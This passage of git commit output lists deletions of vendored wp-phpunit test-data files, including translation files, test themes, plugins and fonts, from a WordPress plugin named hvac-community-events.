wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/es_ES.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/es_ES.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/es_ES.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/ja_JP.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/ja_JP.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/ja_JP.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/plugins/internationalized-plugin-2-de_DE.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/plugins/internationalized-plugin-2-es_ES.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/plugins/internationalized-plugin-de_DE.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/plugins/internationalized-plugin-de_DE.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/plugins/internationalized-plugin-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/plugins/internationalized-plugin-es_ES.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/plugins/internationalized-plugin-es_ES.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/plugins/notice-pl_PL.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/plugins/notice-pl_PL.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/themes/block-theme-pl_PL.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/themes/block-theme-pl_PL.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/themes/internationalized-theme-de_DE.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/themes/internationalized-theme-de_DE.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/languages/themes/internationalized-theme-en_US-2f86cb96a0233e7cb3b6f03ad573be0b.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/custom-internationalized-plugin/custom-internationalized-plugin.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/custom-internationalized-plugin/languages/custom-internationalized-plugin-de_DE.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/custom-internationalized-plugin/languages/custom-internationalized-plugin-de_DE.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/custom-internationalized-plugin/languages/custom-internationalized-plugin-es_ES.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/custom-internationalized-plugin/languages/custom-internationalized-plugin-es_ES.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/hello.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/internationalized-plugin-2.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/internationalized-plugin.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/link-manager.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/plugins/link-manager.zip delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/bad_nplurals.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/bad_nplurals.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/context.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/de_DE-2.8.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/empty.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/mo.pot delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/overload.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/plural.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/simple.l10n.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/simple.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/simple.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/pomo/windows-line-endings.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/templates/template-with-nested-template-part.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/templates/template-with-template-part-with-existing-theme-attribute.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/templates/template-with-template-part.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/templates/template.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/theme-file-child/child-only.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/theme-file-child/parent-and-child.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/theme-file-child/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/theme-file-parent/parent-and-child.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/theme-file-parent/parent-only.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/theme-file-parent/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-deprecated-path/block-template-parts/small-header.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-deprecated-path/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-deprecated-path/templates/index.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-deprecated-path/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-no-theme-json/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-with-block-style-variations/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-with-block-style-variations/styles/block-style-variation-a.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-with-block-style-variations/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-with-fluid-layout/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-with-fluid-layout/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-with-fluid-typography-config/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-with-fluid-typography-config/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-with-fluid-typography/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child-with-fluid-typography/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/blocks/example-block/block.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/blocks/example-block/editor-style-rtl.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/blocks/example-block/editor-style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/blocks/example-block/index.asset.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/blocks/example-block/index.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/blocks/example-block/style-rtl.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/blocks/example-block/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/blocks/example-block/view.asset.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/blocks/example-block/view.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/page-home.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/styles/variation-a.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/styles/variation-b.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/templates/page-1.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-child/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-deprecated-path/block-templates/index.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-deprecated-path/block-templates/page-home.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-deprecated-path/block-templates/page.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-deprecated-path/parts/small-header.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-deprecated-path/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-deprecated-path/styles/variation.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-deprecated-path/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-non-latin/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-non-latin/page-1.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-non-latin/parts/small-header-test.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-non-latin/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-non-latin/templates/page-test.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-non-latin/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-patterns/patterns/cta.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-patterns/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-post-content-default/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-post-content-default/templates/index.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-post-content-default/templates/single.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-post-content-default/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/blocks/hooked-after/block.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/blocks/hooked-after/render.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/blocks/hooked-before/block.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/blocks/hooked-before/render.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/blocks/hooked-first-child/block.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/blocks/hooked-first-child/render.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/blocks/hooked-last-child/block.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/blocks/hooked-last-child/render.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/parts/comments.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/parts/footer.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/parts/header.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/patterns/footer-default.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/patterns/hidden-comments.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/patterns/post-meta.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/templates/index.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/templates/single.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme-with-hooked-blocks/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/blocks/example-block/block.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/blocks/example-block/editor-style-rtl.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/blocks/example-block/editor-style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/blocks/example-block/index.asset.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/blocks/example-block/index.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/blocks/example-block/style-rtl.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/blocks/example-block/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/blocks/example-block/view.asset.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/blocks/example-block/view.js delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/page-1.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/parts/small-header.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/styles/block-style-variation-a.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/styles/block-style-variation-b.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/styles/block-style-variation-with-slug.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/styles/variation-a.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/styles/variation-b.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/styles/variation.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/templates/custom-hero-template.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/templates/custom-single-post-template.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/templates/index.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/templates/page-home.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/templates/page.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/templates/single.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block-theme/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block_theme-[0.4.0]/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block_theme-[0.4.0]/page-1.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block_theme-[0.4.0]/parts/large-header.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block_theme-[0.4.0]/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block_theme-[0.4.0]/templates/page-large-header.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/block_theme-[0.4.0]/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/broken-theme/.nodelete delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/camelCase/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/camelCase/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/child-parent-itself/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/custom-internationalized-theme/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/custom-internationalized-theme/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/custom-internationalized-theme/languages/de_DE.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/custom-internationalized-theme/languages/de_DE.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/custom-internationalized-theme/languages/es_ES.mo delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/custom-internationalized-theme/languages/es_ES.po delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/custom-internationalized-theme/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/default-child-no-theme-json/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/default/comments.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/default/footer.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/default/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/default/header.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/default/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/default/sidebar.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/default/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/default/template-part.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/empty-fontface-theme/functions.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/empty-fontface-theme/index.php delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/empty-fontface-theme/style.css delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/empty-fontface-theme/templates/index.html delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/empty-fontface-theme/theme.json delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/dm-sans/DMSans-Bold-Italic.woff2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/dm-sans/DMSans-Bold.woff2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/dm-sans/DMSans-Medium.ttf delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/dm-sans/DMSans-MediumItalic.ttf delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/dm-sans/DMSans-Regular-Italic.woff2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/dm-sans/DMSans-Regular.woff2 delete mode 100644 wordpress-dev/wordpress/wp-content/plugins/hvac-community-events/vendor/wp-phpunit/wp-phpunit/data/themedir1/fonts-block-theme/assets/fonts/dm-sans/LICENSE.txt delete mode 100644 